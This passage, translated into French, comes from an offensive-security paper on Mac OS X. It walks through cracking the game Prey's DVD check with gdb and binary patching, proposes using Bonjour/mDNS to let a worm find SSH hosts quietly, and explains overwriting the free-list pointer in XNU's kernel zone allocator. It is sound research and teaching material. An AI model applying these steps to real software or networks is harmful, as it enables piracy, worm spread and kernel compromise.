En regardant la sortie de "otool -o", il n'y a qu'une section avec la
valeur de flag 0x9. Cette section est montrée ci-après :
Section
sectname __mod_init_func
segname __DATA
addr 0x00515cec
size 0x00000380
offset 5328108
align 2^2 (4)
reloff 0
nreloc 0
flags 0x00000009
reserved1 0
reserved2 0
Maintenant que l'adresse virtuelle de la section constructeur de cette
application est connue, j'ai simplement lancé gdb une nouvelle fois et mis
un breakpoint sur chacun des pointeurs contenus dans cette section.
(gdb) x/x 0x00515cec
0x515cec <_ZTI14idSIMD_Generic+12>: 0x028cc8db
(gdb)
0x515cf0 <_ZTI14idSIMD_Generic+16>: 0x00495852
(gdb)
0x515cf4 <_ZTI14idSIMD_Generic+20>: 0x0049587c
...
(gdb) break *0x028cc8db
Breakpoint 1 at 0x28cc8db
(gdb) break *0x00495852
Breakpoint 2 at 0x495852
(gdb) break *0x0049587c
Breakpoint 3 at 0x49587c
...
J'ai ensuite exécuté le programme. Comme prévu, le premier breakpoint fut
atteint avant que le message d'erreur ne soit affiché.
(gdb) r
Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey
Breakpoint 1, 0x028cc8db in dyld_stub_log10f ()
(gdb) continue
J'ai ensuite continué l'exécution et le message d'erreur est apparu. C'est
arrivé avant que le second breakpoint ne soit atteint. Ça nous indique que
le premier pointeur dans __mod_init_func est responsable du processus de
vérification du DVD.
Pour valider ma théorie, j'ai redémarré le processus, cette fois, j'ai
supprimé les breakpoints sauf le premier.
(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) break *0x028cc8db
Breakpoint 4 at 0x28cc8db
(gdb) r
Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey
Reading symbols for shared libraries . done
Une fois que le breakpoint est atteint, je "retourne" simplement du
constructeur, sans tester le DVD.
Breakpoint 4, 0x028cc8db in dyld_stub_log10f ()
(gdb) ret
Make selected stack frame return now? (y or n) y
#0 0x8fe0fcc4 in _dyld__ZN16ImageLoaderMachO16doInitialization... ()
And then continue execution.
(gdb) c
Le message d'erreur n'était plus, et Prey a démarre comme si j'avais le DVD
dans le lecteur, VICTOIRE ! Après voir joué au jeu pendant 10 minutes à
courir encore et encore à travers le même couloir ennuyeux, j'ai décidé
qu'il serait plus amusant de continuer à cracker le jeu qu'à y jouer. J'ai
quitté le jeu et suis revenu dans mon shell.
Pour modifier le binaire, j'ai utilisé le HT Editor [15]. Avant de pouvoir
utiliser HTE pour modifier le fichier, je devais extraire l'architecture
appropriée à mon système depuis le binaire universel. Je l'ai fait en
lançant la commande ditto comme suit :
-[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ ditto -arch i386 Prey Prey.i386
-[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ cp Prey Prey.backup
-[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ cp Prey.i386 Prey
J'ai ensuite chargé le fichier dans HTE. J'ai appuyé sur F6 pour
sélectionner le mode et choisi l'option Mach-O/header. Je suis descendu
pour trouver la section __mod_init_func. La voici :
**** section 3 ****
section name __mod_init_func
segment name __DATA
virtual address 00515cec
virtual size 00000380
file offset 00514cec
alignment 00000002
relocation file offset 00000000
number of relocation entries 00000000
flags 00000009
reserved1 00000000
reserved2 00000000
Pour éviter le premier constructeur, j'ai simplement ajouté 4 octets au
champ d'adresse virtuelle, et en ai soustrait 4 de la taille. Je l'ai fait
en appuyant sur F4 dans HTE et en tapant les valeurs. Voici ces nouvelles
valeurs :
**** section 3 ****
section name __mod_init_func
segment name __DATA
virtual address 00515cf0 <== += 4
virtual size 0000037c <== -= 4
file offset 00514cec
alignment 00000002
relocation file offset 00000000
number of relocation entries 00000000
flags 00000009
reserved1 00000000
reserved2 00000000
J'ai ensuite sauvegardé ce nouveau binaire et l'ai exécuté, encore une
fois, le binaire a démarré gentiment sans mentionner le DVD manquant.
Finalement, j'ai refait la même chose pour le binaire PowerPC et j'ai packé
les deux ensembles dans un binaire universel en utilisant la commande lipo.
--[ 9 - Propagation passive de malware avec mDNS
Je suis sûr que vous êtes tous au courant, la seule raison du manque de
malwares sous Mac OS X est sa faible part de marché (et donc, le manque de
personnes attentionnées).
Dans cette section, je propose une manière d'y remédier. Cette méthode
utilise l'un des services par défaut qui est fournis avec Mac OS X 10.4 au
moment de la rédaction : mDNSResponder.
Le service mDNSresponder est une implémentation du protocole multicast DNS.
Ce protocole est documenté à travers quelques documents listés dans [17].
De plus, si vous êtes intéressés par le protocole, il serait judicieux de
lire la RFC [18].
Au niveau des paquets, le protocole multicast DNS est très similaire au DNS
normal. Il sert le même problème (quoi que différent) : mDNS est utilisé
pour créer un moyen pour que les hôtes d'un LAN configurent automatiquement
leur configuration réseau et commencent à communiquer sans utiliser un
serveur DHCP sur le réseau. il est aussi conçu pour rendre les services sur
le réseau navigable.
Récemment, l'implémentation de mDNS a été disponible pour une grande variété
de systèmes d'exploitation, dont Mac OS X, Vista, Linux et une variété de
périphérique matériels tel que des imprimantes. L'implémentation de mDNS
fournie dans Mac OX X est appelée "Bonjour".
Bonjour contient une API utile pour enregistrer et naviguer dans les
services publiés par mDNS. Le démon mDNSResponder est responsable de toutes
les communications réseaux via un port nommé "com.apple.mDNSResponder" qui
est rendu disponible au système pour les communications avec le démon. La
documentation de l'API pour manipuler le démon est disponible en [19].
L'outil en ligne de commande /usr/bin/mdns existe pour manipuler le démon
mDNSResponder directement [20]. Cet outil a les fonctionnalités suivantes :
-[nemo@fry:~]$ mdns
mdns -E (Enumerate recommended registration domains)
mdns -F (Enumerate recommended browsing domains)
mdns -B (Browse for services instances)
mdns -L (Look up a service instance)
mdns -R [...] (Register a service)
mdns -A (Test Adding/Updating/Deleting a record)
mdns -U (Test updating a TXT record)
mdns -N (Test adding a large NULL record)
mdns -T (Test creating a large TXT record)
mdns -M (Test creating a registration with multiple TXT records)
mdns -I (Test registering and then immediately updating TXT record)
Voici un exemple montrant son utilisation pour chercher des instances de
ssh :
-[nemo@fry:~]$ mdns -B _ssh._tcp.
Browsing for _ssh._tcp.local
Talking to DNS SD Daemon at Mach port 3843
Timestamp A/R Flags Domain Service Type Instance Name
11:16:45.816 Add 1 local. _ssh._tcp. fry
Comme vous pouvez le voir, cette fonctionnalité serait très utile pour un
malware installé sur un nouvel hôte.
Une fois qu'un vers a compromis un nouvel hôte, il doit ensuite scanner des
nouvelles cibles à attaquer. Ce scan est une des manières les plus
habituelle pour détecter un vers sur un réseau. Dans le cas de Mac OS X, où
une grosse quantité de scan seraient requis pour trouver une seule cible,
ça serait sûrement le cas.
Nous pouvons utiliser l'API Bonjour pour attendre silencieusement qu'un
service se fasse connaître de notre code, et ensuite d'infecter l'hôte. Ça
réduira énormément le trafic réseau nécessaire à la propagation du ver.
Le fichier d'en-têtes qui contiennent les définitions des structures et
fonctions nécessaires est /usr/include/dns_sd.h. Les fonctions nécessaires
sont contenues dans libSystem et sont donc liées avec à peu près tous les
binaires du système. C'est une bonne nouvelle si vous venez d'infecter un
nouveau processus et voulez faire une recherche mDNS à partir de son espace
d'adressage.
L'API de Bonjour nous permet d'enregistrer un service, énumérer les
domaines ainsi que plein d'autres choses utiles. Cependant, je ne me
concentrerai que sur la recherche d'une instance d'un type de service
particulier dans ce papier. C'est un processus assez intuitif.
La première fonction nécessaire pour trouver une instance d'un service est
la fonction DNSServiceBrowse() (montrée ci-après).
DNSServiceErrorType DNSServiceBrowse (
DNSServiceRef *sdRef,
DNSServiceFlags flags,
uint32_t interfaceIndex,
const char *regtype,
const char *domain, /* may be NULL */
DNSServiceBrowseReply callBack,
void *context /* may be NULL */
);
Ses arguments sont assez auto-explicatifs. Nous passons simplement un
pointeur DNSServiceRef non initialisé, suivi d'un drapeau non utilisé.
interfaceIndex spécifie l'interface sur laquelle faire la requête. Si on
met 0, cette requête sera broadcastée sur toutes les interfaces. Le champ
regtype est utilisé pour spécifier le type de service que nous voulons
trouver. Dans notre exemple, nous chercherons ssh. On utilisera donc la
chaîne "_ssh._tcp" pour spécifier ssh via tcp. Ensuite, l'argument domain
est utilisé pour spécifier le domaine logique que nous voulons parcourir.
Si cet argument vaut NULL, les domaines par défaut sont utilisés. Enfin, un
callback doit être fournis pour indiquer quoi faire quand une instance est
trouvée. Cette fonction peut inclure notre code d'infection/propagation.
Une fois que l'appel à DNSServiceBrowse() est fait, la fonction
DNSServiceProcessResult() doit être utilisée pour commencer le processus.
Cette fonction prend simplement le sdRef, initialisé depuis le premier
appel à DNSServiceBrowse(), et appel la fonction callback quand un résultat
est reçu. Cette fonction est bloquante jusqu'à ce qu'elle ait trouvé une
instance.
Une fois qu'un service est trouvé, il doit être résolu en adresse IP et en
port pour pouvoir être infecté.
Pour le faire, la fonction DNSServiceResolve() peut être utilisée. Cette
fonction est très similaire à DNSServiceBrowse(), cependant, un callback à
DNSServiceResolveReply() est utilisé. En plus, le nom du service doit déjà
être connu. Le prototype de la fonction est le suivant :
DNSServiceErrorType DNSServiceResolve (
DNSServiceRef *sdRef,
DNSServiceFlags flags,
uint32_t interfaceIndex,
const char *name,
const char *regtype,
const char *domain,
DNSServiceResolveReply callBack,
void *context /* may be NULL */
);
Le callback de cette fonction reçoit les arguments suivants :
DNSServiceResolveReply resolve_target(
DNSServiceRef sdRef,
DNSServiceFlags flags,
uint32_t interfaceIndex,
DNSServiceErrorType errorCode,
const char *fullname,
const char *hosttarget,
uint16_t port,
uint16_t txtLen,
const char *txtRecord,
void *context
);
Une fois encore, nous devons appeler la fonction DNSServiceProcessResult(),
en lui passant le sdRef reçu de DNSServiceResolve pour commencer les
choses.
Une fois dans le callback, le port sur lequel tourne le service est passé
via un short [NDT : entier sur 2 octets].
Retrouver l'adresse IP est simplement une histoire d'appeler
gethostbyname() sur le paramètre histtarget.
J'ai inclus un bout de code dans l'annexe (discover.c) qui montre tout ça
clairement. Ce code peut être inclus dans un boucle pour lister les services
et les infecter.
Opensshd warez non fourni. ;-)
--[ 10 - Exploitation de Kernel Zone Allocator
Un "zone allocator" est un gestionnaire de mémoire spécialement conçu pour
allouer efficacement des zones mémoires de tailles identiques.
Dans cette section, je vais regarder comment le zone allocator de mach (le
zone allocator utilisé par le noyau XNU) fonctionne. Ensuite, je regarderai
comment un débordement dans les pages utilisées par l'allocator peut être
exploité.
Le code source du zone allocator se trouve dans le fichier
xnu/osfmk/kern/zalloc.c.
Voici quelques uns des objets du noyau XNU qui utilisent le zone allocator
mach : la task struct, la thread struct, la pipe struct et la zone struct
elle-même.
Un liste des zones courantes du système peut être retrouvée à partir du
mode utilisateur en utilisant la fonction host__zone_info(). Mac OS X est
fourni avec un outil qui utilise cette fonctionnalité :
/usr/bin/zprint
Cet outil affiche chacune des zones et leur taille des éléments, la taille
courante, la taille maximale, ... Voici un exemple de sortie en lançant ce
programme.
elem cur max cur max cur alloc alloc
zone name size size size #elts #elts inuse size count
---------------------------------------------------------------------------
zones 80 11K 12K 152 153 95 4K 51
vm.objects 136 3609K 3888K 27180 29274 21116 4K 30 C
vm.object.hash.entries 20 374K 512K 19176 26214 17674 4K 204 C
...
tasks 432 59K 432K 141 1024 113 20K 47 C
threads 868 329K 2172K 389 2562 295 56K 66 C
...
uthreads 296 114K 740K 396 2560 296 16K 55 C
alarms 44 3K 4K 93 93 2 4K 93 C
load_file_server 36 56K 492K 1605 13994 1605 4K 113
mbuf 256 0K 1024K 0 4096 0 4K 16 C
socket 344 38K 1024K 114 3048 75 20K 59 C
Il vous fournis aussi une occasion de voir certains types d'objets qui
utilisent le zone allocator.
Avant que je montre comment exploiter un débordement dans ces zones, nous
allons d'abord regarder comment le zone allocator fonctionne.
Quand le noyau veut commencer à allouer des objets dans une zone, il
commence par appeler la fonction zinit(). Cette fonction est utilisée pour
allouer les zones qui contiendront les membres de ce type d'objet
spécifique. Les informations sur cette nouvelle zone doivent être stockées
quelque part. Pour ça, on utilise la "struct zone". Voici la définition de
cette structure :
struct zone {
int count; /* Number of elements used now */
vm_offset_t free_elements;
decl_mutex_data(,lock) /* generic lock */
vm_size_t cur_size; /* current memory utilization */
vm_size_t max_size; /* how large can this zone grow */
vm_size_t elem_size; /* size of an element */
vm_size_t alloc_size; /* size used for more memory */
unsigned int
/* boolean_t */ exhaustible :1, /* (F) merely return if empty? */
/* boolean_t */ collectable :1, /* (F) garbage collect empty pages */
/* boolean_t */ expandable :1, /* (T) expand zone (with message)? */
/* boolean_t */ allows_foreign :1,/* (F) allow non-zalloc space */
/* boolean_t */ doing_alloc :1, /* is zone expanding now? */
/* boolean_t */ waiting :1, /* is thread waiting for expansion? */
/* boolean_t */ async_pending :1, /* asynchronous allocation pending? */
/* boolean_t */ doing_gc :1; /* garbage collect in progress? */
struct zone * next_zone; /* Link for all-zones list */
call_entry_data_t call_async_alloc;
/* callout for asynchronous alloc */
const char *zone_name; /* a name for the zone */
#if ZONE_DEBUG
queue_head_t active_zones; /* active elements */
#endif /* ZONE_DEBUG */
};
La première chose que fait la fonction zinit() est de vérifier s'il y a une
zone existante dans laquelle stocker la nouvelle zone struct. Le pointeur
global "zone_zone" est utilisée pour ça. Si le zone allocator mach n'a pas
encore été utilisé, la fonction zget_space() est utilisée pour allouer plus
de place pour les zones de zone struct (zone_zone).
Voici le code qui effectue cette tâche :
if (zone_zone == ZONE_NULL) {
if (zget_space(sizeof(struct zone), (vm_offset_t *)&z)
!= KERN_SUCCESS)
return(ZONE_NULL);
} else
z = (zone_t) zalloc(zone_zone);
Si zone_zone existe, la fonction zalloc() est utilisée pour retrouver un
élément dans la zone. Chacun des attributs de cette nouvelle zone est alors
calculé :
z->free_elements = 0;
z->cur_size = 0;
z->max_size = max;
z->elem_size = size;
z->alloc_size = alloc;
z->zone_name = name;
z->count = 0;
z->doing_alloc = FALSE;
z->doing_gc = FALSE;
z->exhaustible = FALSE;
z->collectable = TRUE;
z->allows_foreign = FALSE;
z->expandable = TRUE;
z->waiting = FALSE;
z->async_pending = FALSE;
Comme vous pouvez le voir, la liste chaînée free_element est initialisée à
0. La fonction zone_init() retourne un pointeur zone_t qui est utilisé pour
chaque allocation de nouveau objet via zalloc(). Avant de retourner, zinit
utilise la fonction zalloc_async() pour allouer et libéré un élément dans
la zone.
Maintenant que la zone est installée, les fonctions zalloc() et zfree()
sont utilisées pour allouer et libérer des éléments dans la zone. zget()
est utilisé pour effectuer une allocation non-bloquante dans une zone.
D'abord, je vais regarder la fonction zalloc(). zalloc() est en gros, un
wrapper [NDT: fonction qui appelle une autre après avoir modifié légèrement
les paramètres] au dessus de zalloc__canblock().
La première chose que zalloc_canblock() fasse est d'essayer de supprimer un
élément de la liste de zones free_elements et de l'utiliser. La macro
suivante (REMOVE_FROM_ZONE) est responsable de ça.
#define REMOVE_FROM_ZONE(zone, ret, type) \
MACRO_BEGIN \
(ret) = (type) (zone)->free_elements; \
if ((ret) != (type) 0) { \
if (!is_kernel_data_addr(((vm_offset_t *)(ret))[0])) { \
panic("A freed zone element has been modified.\n"); \
} \
(zone)->count++; \
(zone)->free_elements = *((vm_offset_t *)(ret)); \
} \
MACRO_END
#else /* MACH_ASSERT */
Comme vous pouvez le voir, cette macro retourne simplement le pointeur vers
la zone struct. Elle augmente aussi l'attribut count (le compteur) et change
l'attribut free_elements vers la zone struct du "prochain" élément libre.
Il le fait en déréférençant l'adresse de l'élément libre courant. Ça nous
montre que les 4 premiers octets d'une allocation non utilisée dans une
zone sont utilisés comme pointeur vers le prochain élément libre. Ça nous
sera très utile plus tard.
Le test is__kernel_data_addr() est utilisé pour être sûr que nous n'avons
pas altéré la liste. La définition de ce test est la suivante :
#define is_kernel_data_addr(a) \
(!(a) || ((a) >= vm_min_kernel_address && !((a) & 0x3)))
const vm_offset_t vm_min_kernel_address = VM_MIN_KERNEL_ADDRESS;
#define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000)
Comme vous pouvez le voir, il vérifie simplement que l'adresse n'est pas 0,
plus grande ou égale à 0x1000 (qui n'est pas un problème du tout) et n'est
pas alignée sur un mot mémoire. Ce test ne fait aucun problème quand on
exploite un débordement comme on le verra plus tard.
S'il n'y a pas d'éléments libres dans la zone, on vérifie l'attribut
doing_alloc de la zone.
Cet attribut est utilisé comme un verrou. Si une allocation bloquante est
effectuée, l'allocator va dormir jusqu'à ce qu'elle soit remise à 0.
Une fois que tout est bon pour allouer un élément, la fonction
kernel_memory_allocate() est utilisée pour en allouer un. L'allocation est
de taille fixe pour chaque zone. La fonction kernel_memory_allocate() est
utilisée à la base de la plupart des allocateurs présents dans le noyau
XNU. Il utilise en gros vm_page_alloc() pour allouer des pages. Une fois
que le zone allocator récupère la main, il appel zcram() pour découper la
page en éléments et les ajoutes à la liste free_elements. chaque élément
est ajouté de la même manière que le fait zfree(). Maintenant que j'ai
regardé au processus d'allocation, je vais montrer le fonctionnement de
zfree().
La fonction zfree() est utilisée pour rapatrier un élément dans la liste
free_elements de la zone. La première chose que fasse zfree() est de
s'assurer que l'élément en cours de libération a bien été alloué via
zalloc(). C'est fait en utilisant la macro from_zone_map() suivante :
#define from_zone_map(addr, size) \
((vm_offset_t)(addr) >= zone_map_min_address && \
((vm_offset_t)(addr) + size -1) < zone_map_max_address)
Dans le cas d'un débordement, cette vérification n'est pas particulièrement
importante, je continue donc avec la suite.
Ensuite, zfree() (si le debuggage de zone est activé) va continuer et vérifier
que l'élément ne vient d'une zone différente à celle passée en paramètre.
Si c'est le cas, un kernel panic() est lancé, nous prévenant du problème.
Ensuite, zfree() parcours entièrement la liste free_elements de la zone et
appel pmap_kernel_va(). Voici le code qui le fait :
for (this = zone->free_elements;
this != 0;
this = * (vm_offset_t *) this)
if (!pmap_kernel_va(this) || this == elem)
panic("zfree");
Voici le test pmap_kernel_va() :
#define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000)
#define pmap_kernel_va(VA) \
(((VA) >= VM_MIN_KERNEL_ADDRESS) && ((VA) <= vm_last_addr))
pmap_kernel_va vérifie simplement que l'adresse est plus grande ou égale à
VM_MIN_KERNEL_ADDRESS. Cette adresse est définie plus haut comme étant
0x1000, le début de la première page de mémoire noyau valide (juste après
PAGEZERO). Il vérifie ensuite si l'adresse est plus petite ou égale à
vm_last_addr. C'est défini par VM_MAX_KERNEL_ADDRESS (comme suit).
vm_last_addr = VM_MAX_KERNEL_ADDRESS; /* Set the highest address
#define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xFE7FFFFF)
#define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xDFFFFFFF)
En gros, ça signifie quasiment n'importe où dans l'espace d'adressage
noyau.
Une fois que ces tests sont effectués, la dernière chose que zfree() fait
est d'utiliser la macro ADD_TO_ZONE() pour rapatrier l'élément dans la
liste free_elements dans la zone struct.
Voici la macro pour le faire :
#define ADD_TO_ZONE(zone, element) \
MACRO_BEGIN \
if (zfree_clear) \
{ unsigned int i; \
for (i=1; \
i < zone->elem_size/sizeof(vm_offset_t) - 1; \
i++) \
((vm_offset_t *)(element))[i] = 0xdeadbeef; \
} \
((vm_offset_t *)(element))[0] = (zone)->free_elements; \
(zone)->free_elements = (vm_offset_t) (element); \
(zone)->count--; \
MACRO_END
Cette macro parcours la mémoire allouée pour l'élément en train d'être
libéré par intervalles de 4 octets. Elle écrit 0xdeadbeef partout, en
remplissant la mémoire, et nettoyant les données originales. Elle écrit
ensuite les 4 premiers octets de l'allocation, le vieux pointeur de
free_elements, de la zone struct.
Maintenant que j'ai montré brièvement comment le zone allocator fonctionne,
je vais regarder ce qui arrive en cas de débordement.
Dans le schéma suivant, vous pouvez voir un élément utilisé suivi d'un
élément libre. Le premier élément contient des données utilisées par la
structure (dans cet exemple, la structure est maquillée).
Le deuxième élément consiste en un pointeur vers l'élément libre suivi d'un
entier long 0xdeadbeef répété pour remplir la structure. Les éléments
utilisés et libres ont tous la même taille.
mémoire basse (0x00000000)
----( Élément qui sera débordé )------
00 00 00 01
22 22 22 22
33 33 33 33
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
-----------( Élément libre )----------
[ ff fc 7c 7d ] <== Pointeur vers le prochain élément
ef be ad de
ef be ad de
ef be ad de
ef be ad de
ef be ad de
ef be ad de
_____________________________________
mémoire haute (0xffffffff)
Dans le cas d'un débordement d'un tableau dans la première structure (dans
notre cas, avec un A majuscule [0x41]), il est possible d'écraser le
pointeur "next" de l'élément libre qui suit. C'est montré ci-après :
mémoire basse (0x00000000)
----( Élément qui sera débordé )------
00 00 00 01
22 22 22 22
33 33 33 33
41 41 41 41 <== le débordement commence ici
41 41 41 41
41 41 41 41
41 41 41 41
-----------( Élément libre )----------
[ 41 41 41 41 ] <== il déborde jusqu'au pointeur
ef be ad de
ef be ad de
ef be ad de
ef be ad de
ef be ad de
ef be ad de
_____________________________________
mémoire haute (0xffffffff)
Dans ce cas, quand la macro REMOVE_FROM_ZONE() sera utilisée par zalloc(),
l'adresse contrôlée par l'utilisateur 0x41414141 sera le nouveau pointeur
de la liste free_elements, et donc, utilisée par la prochaine allocation de
ce type d'élément.
Si cette adresse est correctement positionnée, il serait possible d'avoir
un écrasement contrôlé par l'utilisateur d'un pointeur utile dans l'espace
noyau et donc d'acquérir le contrôle de l'exécution.
À cause des vérifications effectuée par zfree(), il est recommandé de faire
tout ce qu'on peut pour éviter que cet élément soit passé à zfree().
Puisque ça finirait par un kernel panic().
--[ 11 - Conclusion
Heureusement, si vous vous êtes embêtés à lire jusqu'ici, vous avez du
apprendre quelques trucs utiles. Sinon, je m'excuse.
Si vous prolongez ces idées plus loin que je ne l'ai fait, ou si vous
connaissez une meilleure méthode pour faire quoi que ce soit d'exposé dans
ce papier, j'apprécierais que vous m'envoyiez un mail pour me le faire
savoir à l'adresse suivante : nemo@felinemenace.org. Pour les insultes :
mercy@felinemenace.org, merci ;)
Maintenant, les remerciements. Un énorme merci à ma fiancée extraordinaire
pif, pour son amour et son soutien pendant que j'écrivais tout ceci. Merci
à bk pour toute son aide et les longues conversations sur XNU. Merci à tout
le monde à felinemenace pour leur support, le code et les moments de fun.
Un gros merci aussi à mon ordinateur de ne pas avoir kernel panic()é une
troisième fois quand j'ai sauvegardé ce papier. Je pense que si il avait
écrit des octets aléatoires dans ce papier une troisième fois, je n'aurais
pas eu l'endurance de le réécrire (encore).
Enfin, ce papier ne serait pas complet sans un autre mauvais jeu de mots
Star Wars pour aller avec le titre, alors allons-y ...
Que le fork() soit avec root...
--[ 12 - Références
[1] b-r00t's Smashing the Mac for Fun & Profit
http://www.milw0rm.com/papers/44
[2] Mac OS X PPC Shellcode Tricks -
http://www.uninformed.org/?v=1&a=1&t=pdf
[3] Linux on-the-fly kernel patching without LKM
http://www.phrack.org/archives/58/p58-0x07
[4] Mach-O Runtime
http://developer.apple.com/documentation/DeveloperTools/ ...
Conceptual/MachORuntime/MachORuntime.pdf
[5] Understanding windows shellcode
http://www.hick.org/code/skape/papers/win32-shellcode.pdf
[6] Smashing The Kernel Stack For Fun And Profit
http://www.phrack.org/archives/60/p60-0x06.txt
http://arsouyes.org/info/phrack60/phrack60_0x06.txt
[7] Ilja's blackhat talk -
http://www.blackhat.com/presentations/bh-europe-05/ ...
BH_EU_05-Klein_Sprundel.pdf
[8] Mac OS X PPC Shellcode Tricks -
http://www.uninformed.org/?v=1&a=1&t=txt
[9] Smashing the Stack for Fun and Profit -
http://www.phrack.org/archives/49/P49-14
http://arsouyes.org/info/phrack49/phrack49_0x0e%5BSlasH%5D.txt
[10] Radical Environmentalists by Netric -
http://packetstormsecurity.org/groups/netric/envpaper.pdf
[11] Non eXecutable Stack Lovin on OSX86 -
http://www.digitalmunition.com/NonExecutableLovin.txt
[12] Mach-O Infection -
http://felinemenace.org/~nemo/slides/mach-o_infection.ppt
[13] Infecting Mach-O Fies
http://vx.netlux.org/lib/vrg01.html
[14] class-dump
http://www.codethecode.com/Projects/class-dump/
[15] HTE -
http://hte.sourceforge.net
[16] Architecture Spanning Shellcode -
http://www.phrack.org/archives/57/p57-0x17
[17] Multicast DNS -
http://www.multicastdns.org/
[18] mDNS RFC -
http://files.dns-sd.org/draft-cheshire-dnsext-nbp.txt
[19] mDNS API -
http://developer.apple.com/documentation/Networking/
Conceptual/dns_discovery_api/index.html
[20] mdns command line utility -
http://developer.apple.com/documentation/Darwin/
Reference/Manpages/man1/mDNS.1.html
[21] KUNC Reference -
http://developer.apple.com/documentation/DeviceDrivers/
Conceptual/WritingDeviceDriver/KernelUserNotification
--[ 13 - Annexes - Code
Extraire ce code avec uuencore.
(voir dans la version txt).